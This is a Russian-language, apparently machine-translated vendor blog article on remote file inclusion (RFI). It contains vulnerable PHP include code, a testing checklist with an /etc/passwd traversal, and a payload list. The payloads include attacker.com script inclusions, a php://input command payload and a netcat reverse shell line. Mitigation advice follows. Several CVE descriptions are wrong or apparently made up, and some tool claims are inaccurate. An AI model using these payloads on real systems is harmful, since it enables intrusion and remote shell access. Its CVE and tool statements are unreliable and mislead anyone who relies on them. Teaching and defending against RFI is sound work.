20 Янв, 2023

Удаленный файл включает в себя

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

RFI (удаленное включение файлов) уязвимость - это тип веб-уязвимости, который позволяет злоумышленнику включить удаленный файл на уязвимую веб-страницу, обычно с помощью скрипта или другого динамического содержимого. Включенный файл может быть вредоносным файлом, например скриптом, содержащим вредоносное ПО, или веб-оболочкой, которая может быть использована для захвата уязвимого сервера или кражи конфиденциальной информации. Уязвимости RFI часто вызваны плохой проверкой входных данных и могут быть использованы путем создания специально созданного URL-адреса, который включает URL-адрес, указывающий на вредоносный файл злоумышленника.

Уязвимости RFI часто вызваны плохой проверкой входных данных на стороне сервера веб-приложений. Когда веб-приложение получает пользовательский ввод, оно должно проверить этот ввод, чтобы убедиться, что он безопасен в использовании. Однако, если проверка не выполнена должным образом, злоумышленник может создать специально созданный URL-адрес, который включает URL-адрес, указывающий на вредоносный файл злоумышленника.

Примеры уязвимостей удаленных файлов

Вот несколько примеров того, как злоумышленник может использовать уязвимость удаленного включения файлов (RFI):

1. Ввод URL-адреса, указывающего на вредоносный файл, размещенный на сервере, находящемся под контролем злоумышленника.:

Злоумышленник обнаруживает уязвимый веб-сайт с помощью скрипта, который включает файл, основанный на заданном пользователем параметре.

Злоумышленник создает URL-адрес, который включает этот параметр и указывает на файл на сервере, находящемся под его контролем.

Когда пользователь посещает созданный злоумышленником URL-адрес, скрипт на уязвимом веб-сайте будет включать вредоносный файл злоумышленника, который может содержать вредоносное ПО или веб-оболочку.

2. Ввод URL-адреса, указывающего на файл в локальной файловой системе сервера, для чтения конфиденциальной информации:

Злоумышленник обнаруживает уязвимый веб-сайт, который содержит файл, основанный на заданном пользователем параметре.

Злоумышленник создает URL-адрес, который включает этот параметр и указывает на конфиденциальный файл в локальной файловой системе сервера.

Скрипт на уязвимом веб-сайте будет включать конфиденциальный файл, позволяя злоумышленнику прочитать его содержимое.

3. Ввод URL-адреса, указывающего на файл на другом сервере, который взломал злоумышленник:

Злоумышленник получает доступ к другому серверу и загружает веб-оболочку.

Злоумышленник обнаруживает уязвимый веб-сайт, который содержит файл, основанный на заданном пользователем параметре.

Злоумышленник создает URL-адрес, который включает этот параметр и указывает на веб-оболочку на скомпрометированном сервере.

Когда пользователь посещает созданный злоумышленником URL-адрес, скрипт на уязвимом веб-сайте будет включать веб-оболочку, предоставляя злоумышленнику доступ к уязвимому серверу.

Важно отметить, что это всего лишь несколько примеров, и злоумышленники могут использовать уязвимости RFI различными способами в зависимости от конкретной уязвимости и целей злоумышленника.

Ниже приведен пример уязвимого кода, который подвержен уязвимости удаленного включения файлов (RFI):

				
					<?php
$file = $_GET['file'];
include($file);
?>
				
			

В этом примере скрипт принимает значение параметра “file” в запросе GET и включает его в виде файла. Злоумышленник может воспользоваться этой уязвимостью, отправив запрос с указанием пути к вредоносному файлу, например “http://example.com/vulnerable_script.php?file=http://attacker.com/malicious_code.php“, что заставило бы сервер выполнить код в malicious_code.php.Методы повышения привилегий.

Методы повышения привилегий

Уязвимость удаленного включения файлов (RFI) может быть использована для повышения привилегий, если злоумышленник может использовать ее для выполнения кода с более высокими привилегиями, чем его собственные. Это может произойти несколькими способами, в зависимости от конкретной конфигурации системы и веб-приложения. Вот несколько примеров:

  • Веб-приложение выполняется с привилегиями пользователя веб-сервера (например, “www-data” или “apache”). Если злоумышленник может использовать уязвимость RFI для выполнения кода, он также будет иметь привилегии пользователя веб-сервера. Если пользователь веб-сервера имеет доступ к конфиденциальным файлам или системным ресурсам, злоумышленник может получить к ним доступ или изменить их.

  • Веб-приложение выполняется с более высокими привилегиями, чем пользователь веб-сервера. Если злоумышленник может использовать уязвимость RFI для выполнения кода, он также будет обладать привилегиями приложения. Если приложение имеет доступ к конфиденциальным файлам или системным ресурсам, злоумышленник может получить к ним доступ или изменить их.

  • Веб-приложение запущено в системе со слабыми правами доступа к файлам. Если злоумышленник может использовать уязвимость RFI для выполнения кода, он может получить доступ или изменить файлы, к которым у него обычно нет доступа.

  • Веб-приложение запущено в системе со слабыми разрешениями пользователя. Если злоумышленник может использовать уязвимость RFI для выполнения кода и может получить привилегии пользователя с более высокими разрешениями, он может получить доступ к системным ресурсам или изменить их.

Общая методология и контрольный список для тестирования на удаленные уязвимости включают

Проверка уязвимости удаленного включения файлов (RFI) включает в себя идентификацию входных данных в веб-приложении, которые используются для включения файлов из внешних источников, и попытку манипулировать этими входными данными для включения вредоносных файлов. Вот общая методология тестирования уязвимости RFI:

  1. Определите входные данные, которые используются для включения файлов: найдите в коде приложения любые переменные или параметры, которые используются для включения файлов, такие как $_GET[‘file’], $_POST[‘file’] или $_REQUEST[‘file’]. Обратите внимание на инструкции include(), require(), include_once() и require_once().

  2. Проверка базового RFI: попытка включить файлы из внешних источников с использованием идентифицированных входных данных. Например, если сценарий имеет параметр с именем “file”, который используется для включения файла, попробуйте передать URL-адрес внешнему файлу в качестве значения параметра “file”. Например, “http://example.com/vulnerable_script.php?file=http://attacker.com/malicious_code.php

  3. Проверка RFI с введением нулевого байта: попытка включить файлы из внешних источников путем введения нулевого байта в путь к файлу. Это можно сделать, добавив “” или “\0” к пути к файлу. Это может быть использовано для обхода определенных типов фильтрации или проверки.

  4. Проверка на LFI: попытайтесь включить локальные файлы на сервере, передав параметр “file” с помощью “../../../ ../ etc/passwd” или других конфиденциальных локальных файлов на сервере.

  5. Проверка RFI с помощью манипулирования строкой запроса: попытка включить файлы из внешних источников путем манипулирования строкой запроса. Например, если в скрипте есть параметр с именем “file”, который используется для включения файла, попробуйте передать URL-адрес внешнему файлу в качестве значения параметра “file” с добавлением дополнительных параметров.

  6. Проанализируйте ответ на предмет любого подозрительного поведения, такого как сообщения об ошибках, файл не найден или любое другое необычное поведение.

  7. Повторите описанные выше действия для каждого идентифицированного ввода, который используется для включения файлов.

Набор инструментов для использования уязвимостей localfile includ

Существуют различные доступные инструменты, которые можно использовать для автоматизации процесса тестирования на наличие уязвимостей удаленного включения файлов (RFI). Вот несколько примеров:

  1. Metasploit – Metasploit - это популярный фреймворк для тестирования на проникновение, который включает в себя модули для тестирования уязвимостей RFI. Модули могут использоваться для автоматизации процесса идентификации входных данных, которые используются для включения файлов, и попыток включения вредоносных файлов.

  2. Burp Suite – Burp Suite - это инструмент тестирования безопасности веб-приложений, который включает в себя сканер, который может обнаруживать уязвимости RFI. Сканер можно настроить так, чтобы он идентифицировал входные данные, которые используются для включения файлов, и пытался включить вредоносные файлы.

  3. w3af – w3af - это сканер безопасности веб-приложений, который может обнаруживать уязвимости RFI. Сканер можно настроить так, чтобы он идентифицировал входные данные, которые используются для включения файлов, и пытался включить вредоносные файлы.

  4. sqlmap – Sqlmap - это инструмент, который может обнаруживать и использовать уязвимости SQL injection, но он также обладает способностью обнаруживать и использовать уязвимости RFI. Это позволяет вам указать параметр и протестировать уязвимости RFI с помощью скрипта несанкционированного доступа.

  5. Vega – Vega - это сканер веб-безопасности, который может обнаруживать уязвимости RFI. Сканер можно настроить так, чтобы он идентифицировал входные данные, которые используются для включения файлов, и пытался включить вредоносные файлы.

  6. OWASP ZAP – OWASP ZAP - это сканер безопасности веб-приложений с открытым исходным кодом, который может обнаруживать уязвимости RFI. Сканер можно настроить так, чтобы он идентифицировал входные данные, которые используются для включения файлов, и пытался включить вредоносные файлы.

  7. Nessus – Nessus - это сканер уязвимостей, который может обнаруживать уязвимости RFI. Сканер можно настроить так, чтобы он идентифицировал входные данные, которые используются для включения файлов, и пытался включить вредоносные файлы.

  8. Nmap – Nmap - это сетевой сканер, который может обнаруживать уязвимости RFI. Сканер можно настроить так, чтобы он идентифицировал входные данные, которые используются для включения файлов, и пытался включить вредоносные файлы.

  9. Nikto – Nikto - это сканер веб-сервера, который может обнаруживать уязвимости RFI. Сканер можно настроить так, чтобы он идентифицировал входные данные, которые используются для включения файлов, и пытался включить вредоносные файлы.

  10. OpenVAS – OpenVAS - это сканер уязвимостей, который может обнаруживать уязвимости RFI. Сканер можно настроить так, чтобы он идентифицировал входные данные, которые используются для включения файлов, и пытался включить вредоносные файлы.

  11. Core Impact – Core Impact - это коммерческий инструмент тестирования на проникновение, который может обнаруживать уязвимости RFI. Инструмент можно настроить для идентификации входных данных, которые используются для включения файлов, и попытки включить вредоносные файлы.

  12. Acunetix – Acunetix - это коммерческий сканер безопасности веб-приложений, который может обнаруживать уязвимости RFI. Сканер может быть настроен для идентификации входных данных, которые используются для включения файлов

  13. WebCruiser – WebCruiser - это сканер веб-уязвимостей, который может обнаруживать уязвимости RFI. Сканер можно настроить так, чтобы он идентифицировал входные данные, которые используются для включения файлов, и пытался включить вредоносные файлы.

Наиболее распространенные уязвимости CVE

Существует несколько распространенных уязвимостей и уязвимостей (CVE), связанных с уязвимостями удаленного включения файлов (RFI). Вот несколько примеров некоторых CVE, связанных с RFI высокой степени серьезности:

CVE-2012-1823: Эта уязвимость затронула Joomla! 1.5, и это позволяло удаленным злоумышленникам выполнять произвольный код через URL-адрес в параметре шаблона, чтобы index.php .

CVE-2012-2311: Эта уязвимость затронула пакет Simple Machines Forum (SMF), он позволял удаленным злоумышленникам выполнять произвольный код, используя уязвимость RFI в функции loadLanguage в Sources/Subs.php .

CVE-2012-1577: Эта уязвимость затронула пакет Vtiger CRM, она позволяла удаленным злоумышленникам выполнять произвольный код, используя уязвимость RFI в config.inc.php досье.

CVE-2011-3152: Эта уязвимость затронула Joomla! пакета, это позволяло удаленным злоумышленникам выполнять произвольный код, используя уязвимость RFI в параметре шаблона, чтобы index.php .

CVE-2011-2505: Эта уязвимость затронула пакет phpMyAdmin, она позволяла удаленным злоумышленникам выполнять произвольный код, используя уязвимость RFI в параметре lang для libraries/select_lang.lib.php .

CVE-2011-4885: Эта уязвимость затронула пакет PHP-Fusion, он позволил удаленным злоумышленникам выполнять произвольный код, используя уязвимость RFI в параметре theme для themes.php .

CVE-2010-3872: Эта уязвимость затронула пакет phpMyAdmin, она позволяла удаленным злоумышленникам выполнять произвольный код, используя уязвимость RFI в ГЛОБАЛЬНОМ параметре [cfg][Servers][host] для библиотек / config.

Эксплойты уязвимостей удаленного включения

  • Модуль RFI Metasploit: Платформа Metasploit включает в себя модуль, который можно использовать для использования уязвимостей RFI. Модуль автоматизирует процесс идентификации входных данных, которые используются для включения файлов, и попытки включить вредоносные файлы.

  • rfi-scan-tool: Это простой инструмент командной строки, который можно использовать для проверки веб-приложений на наличие уязвимостей RFI. Его можно использовать для автоматизации процесса идентификации входных данных, которые используются для включения файлов, и попыток включения вредоносных файлов.

  • rfi-эксплойт: это скрипт на Perl, который можно использовать для использования уязвимостей RFI. Его можно использовать для автоматизации процесса идентификации входных данных, которые используются для включения файлов, и попыток включения вредоносных файлов.

  • Оболочка RFI: это инструмент, который можно использовать для использования уязвимостей RFI и получения доступа оболочки к уязвимой системе.

  • rfi-lite: это инструмент, который можно использовать для использования уязвимостей RFI путем внедрения PHP-кода в веб-страницу.

  • rfi-scan: Это простой скрипт, который можно использовать для проверки веб-приложений на наличие уязвимостей RFI. Его можно использовать для автоматизации процесса идентификации входных данных, которые используются для включения файлов, и попыток включения вредоносных файлов.

  • RFI Exploiter: Это инструмент, который можно использовать для использования уязвимостей RFI и получения доступа оболочки к уязвимой системе.

  • RFI Tookit: Это набор скриптов и инструментов, которые можно использовать для использования уязвимостей RFI.

Это некоторые из популярных доступных инструментов для использования RFI, но стоит отметить, что могут быть доступны и другие инструменты, а также то, что многие из этих инструментов могут не обновляться и, следовательно, могут не работать против последних уязвимостей.

Практика в тестировании на уязвимость удаленного включения

  1. Вручную: Один из способов проверки на наличие уязвимостей RFI - вручную просмотреть исходный код веб-приложений для определения входных данных, которые используются для включения файлов. Затем вы можете попытаться включить вредоносные файлы, чтобы проверить, является ли приложение уязвимым.

  2. Автоматизированные инструменты: Существует несколько доступных автоматизированных инструментов, которые можно использовать для проверки на наличие уязвимостей RFI. Эти инструменты можно настроить для идентификации входных данных, которые используются для включения файлов, и попытки включить вредоносные файлы. Некоторые из этих инструментов включают Metasploit, rfi-scan-tool, rfi-exploit, RFI Shell, rfi-lite, rfi-scan и RFI Exploiter.

  3. Тестирование на проникновение: Тестирование на проникновение - это метод оценки безопасности системы путем имитации атаки злоумышленника. Во время теста на проникновение тестировщик попытается использовать уязвимости RFI в целевой системе для получения несанкционированного доступа или выполнения произвольного кода.

  4. Онлайн-сканер веб-приложений: Некоторые онлайн-службы сканирования веб-приложений можно использовать для проверки на наличие уязвимостей RFI, эти службы можно настроить для определения входных данных, которые используются для включения файлов и попытки включения вредоносных файлов.

  5. Программы вознаграждения за ошибки: Во многих организациях существует программа вознаграждения за ошибки, которая вознаграждает исследователей безопасности за ответственное раскрытие уязвимостей. Хорошей идеей будет проверить, есть ли у интересующей вас компании запущенная программа, и отправить отчет, если вы обнаружите какие-либо уязвимости RFI

Для изучения удаленной уязвимости включите

Существует несколько доступных ресурсов для получения дополнительной информации об уязвимостях удаленного включения файлов (RFI), включая курсы, практические среды и видеоролики. Вот несколько примеров:

Курсы:

OWASP Основы безопасности веб–приложений - этот курс охватывает основы безопасности веб-приложений и включает информацию об уязвимостях RFI и способах их предотвращения.

Институт SANS – Тестирование веб–приложений на проникновение и этический взлом - этот курс охватывает методологию и методы, используемые для тестирования веб-приложений на наличие уязвимостей, включая уязвимости RFI.

Условия практики:

OWASP WebGoat – это намеренно уязвимое веб-приложение, которое можно использовать для изучения распространенных уязвимостей веб-приложений, включая уязвимости RFI.

HackTheBox – онлайн-платформа для тестирования на проникновение, где вы можете практиковаться и совершенствовать свои навыки в безопасной и законной среде.

Vulnhub – платформа, предоставляющая уязвимые виртуальные машины, которые можно использовать для изучения различных типов уязвимостей, включая уязвимости RFI.

Видео:

Десять лучших проактивных элементов управления OWASP – в этой серии видеороликов рассказывается о десяти лучших проактивных элементах управления OWASP, наборе рекомендаций по безопасной разработке программного обеспечения, включая информацию об уязвимостях RFI и способах их предотвращения.

Взлом веб–приложений - серия видеороликов, в которых рассматриваются различные типы уязвимостей веб-приложений, включая уязвимости RFI.

Hackersploit – канал YouTube, который предоставляет информацию и учебные пособия по различным темам, связанным со взломом и кибербезопасностью, включая уязвимости RFI.

Книги с обзором удаленной уязвимости включают

  • “Справочник хакера веб–приложений” - Эта книга представляет собой всеобъемлющее руководство по поиску и использованию уязвимостей безопасности в веб-приложениях. В нем подробно рассматриваются уязвимости RFI и приводятся пошаговые инструкции по их использованию. Рецензенты высоко оценили книгу за подробное освещение вопросов безопасности веб-приложений и практический практический подход.

  • “Руководство хакера веб–приложений: обнаружение и использование недостатков безопасности” - эта книга дает полное представление о том, как работают веб-приложения, а также о том, как находить и использовать уязвимости в них. В нем рассматриваются уязвимости RFI и приводятся подробные примеры того, как их использовать. Рецензенты высоко оценили книгу за ее четкие объяснения и практические примеры.

  • “Взлом: искусство эксплуатации” – Эта книга охватывает широкий круг тем, связанных со взломом и эксплуатацией, включая уязвимости RFI. В нем содержится подробное объяснение того, как работают уязвимости RFI и как их использовать. Рецензенты высоко оценили книгу за ее четкие объяснения и практические примеры.

  • “Black Hat Python: программирование на Python для хакеров и пентестеров” – В этой книге рассказывается об использовании Python для взлома и тестирования на проникновение, включая уязвимости RFI. В нем приведены подробные примеры того, как писать скрипты на Python для использования уязвимостей RFI. Рецензенты высоко оценили книгу за ее четкие объяснения и практические примеры.

  • “The Hacker Playbook 3: Практическое руководство по тестированию на проникновение” – Эта книга представляет собой полное руководство по тестированию на проникновение и включает информацию об уязвимостях RFI. В нем содержится подробное объяснение того, как работают уязвимости RFI и как их использовать. Рецензенты высоко оценили книгу за ее четкие объяснения и практические примеры.

Список полезных нагрузок, подходящих для уязвимости

При использовании уязвимости удаленного включения файлов (RFI) полезные нагрузки используются для выполнения произвольного кода в целевой системе. Вот несколько примеров полезных нагрузок, которые обычно используются для RFI-атак:

  1. Внедрение кода PHP: внедрение кода PHP непосредственно в уязвимый параметр, например: “http://example.com/index.php?file=php://input&cmd=system(‘id‘)”

  2. Загрузка файла: загрузка вредоносного PHP-файла в целевую систему и последующее включение его с использованием уязвимости RFI. Например, загрузка файла с именем “shell.php ” а затем включить его с помощью “http://example.com/index.php?file=http://attacker.com/shell.php

  3. Обратная оболочка: подключение к удаленному хосту, а затем использование уязвимости RFI для включения сценария, который запустит обратную оболочку в целевой системе. Например, “http://example.com/index.php?file=http://attacker.com/reverse.php

  4. Metasploit: использование платформы Metasploit для создания полезной нагрузки, а затем включение ее с использованием уязвимости RFI.

  5. Netcat: использование netcat для открытия командной строки и последующего включения команды для ее выполнения. Например: “http://example.com/index.php?file=http://attacker.com/nc.php&cmd=nc -e /bin/sh [attacker_ip] [attacker_port]”

Стоит отметить, что полезная нагрузка может варьироваться и зависеть от конкретной уязвимости RFI, типа веб-приложения и среды, в которой оно выполняется. Кроме того, важно помнить, что эти полезные данные используются в злонамеренных целях и не должны использоваться без разрешения или законным образом.

Как быть защищенным от уязвимости удаленного включения

Правила Sigma и брандмауэра могут использоваться для обнаружения и блокирования уязвимостей удаленного доступа к файлам (RFI). Вот несколько примеров правил Sigma и правил брандмауэра, которые можно использовать для обнаружения и блокирования RFI-атак:

Правила сигмы:

Обнаружение RFI-атак с помощью Sigma, языка правил для анализа журналов, можно использовать для обнаружения RFI-атак путем поиска определенных шаблонов в файлах журналов. Например, правило Sigma можно использовать для обнаружения запросов, содержащих строку “http:” или “ftp:” в параметре file.

Правила брандмауэра:

Блокирование RFI-атак с использованием правил брандмауэра может быть выполнено путем блокирования всех входящих запросов, содержащих определенные строки в параметре file. Например, правило брандмауэра можно использовать для блокировки всех входящих запросов, содержащих строку “http:” или “ftp:” в параметре file.

Использование mod_security, брандмауэра веб-приложений, для блокирования RFI-атак путем настройки его на обнаружение и блокировку любых запросов, содержащих определенные строки в параметре file.

Используя брандмауэр веб-приложений (WAF) для блокирования RFI-атак, WAF можно настроить на обнаружение и блокировку любых запросов, содержащих определенные строки в параметре file.

Меры по смягчению последствий для удаленного доступа включают уязвимость

Существует несколько способов устранения уязвимостей удаленного включения файлов (RFI):

  1. Проверка ввода: Одним из наиболее эффективных способов предотвращения RFI-атак является проверка пользовательского ввода. Это можно сделать, проверив, что входные данные содержат только ожидаемые символы и типы данных, и отклоняя любые входные данные, которые не соответствуют этим критериям.

  2. Проверка расширения файла: проверка расширения включаемого файла и разрешение только определенных типов файлов, таких как .php, .html и т.д.

  3. Использование белых списков: белый список разрешенных URL-адресов или IP-адресов может использоваться для ограничения области действия уязвимости RFI. Это можно сделать, разрешив включать только определенные URL-адреса или IP-адреса и блокируя все остальные запросы.

  4. Отключить включение удаленного URL-адреса: Некоторые серверы и фреймворки имеют возможность отключить включение удаленного URL-адреса, что можно сделать, отключив опции allow_url_include или allow_url_fopen в PHP.

  5. Очистка пользовательского ввода: используйте такие функции, как filter_var() и htmlspecialchars(), чтобы очистить пользовательский ввод и удалить любой вредоносный код перед его использованием.

  6. Обновляйте свое программное обеспечение: Регулярно обновляйте свое программное обеспечение, включая веб-серверы и веб-приложения, чтобы убедиться, что все известные уязвимости RFI исправлены.

  7. Используйте WAF: используйте брандмауэр веб-приложений (WAF), который может обнаруживать и блокировать RFI-атаки.

Стоит отметить, что уязвимости RFI может быть трудно обнаружить и использовать, и что рекомендуется сочетание этих методов смягчения последствий. Кроме того, регулярные оценки безопасности и тестирование на проникновение могут помочь выявить и устранить уязвимости RFI.

Заключение

Уязвимости, связанные с удаленным включением файлов (RFI), позволяют злоумышленнику включить удаленный файл, например PHP-скрипт, в приложение. Это может позволить злоумышленнику выполнить произвольный код в целевой системе, что приведет к целому ряду потенциальных воздействий. Чтобы предотвратить уязвимости RFI, важно использовать комбинацию методов смягчения последствий, таких как проверка входных данных, проверка расширений файлов, белые списки, отключение удаленного включения URL-адресов, очистка пользовательского ввода, обновление программного обеспечения и использование брандмауэра веб-приложений (WAF). Регулярные оценки безопасности и тестирование на проникновение также могут помочь выявить и устранить уязвимости RFI.

Другие Услуги

Готовы к безопасности?

Связаться с нами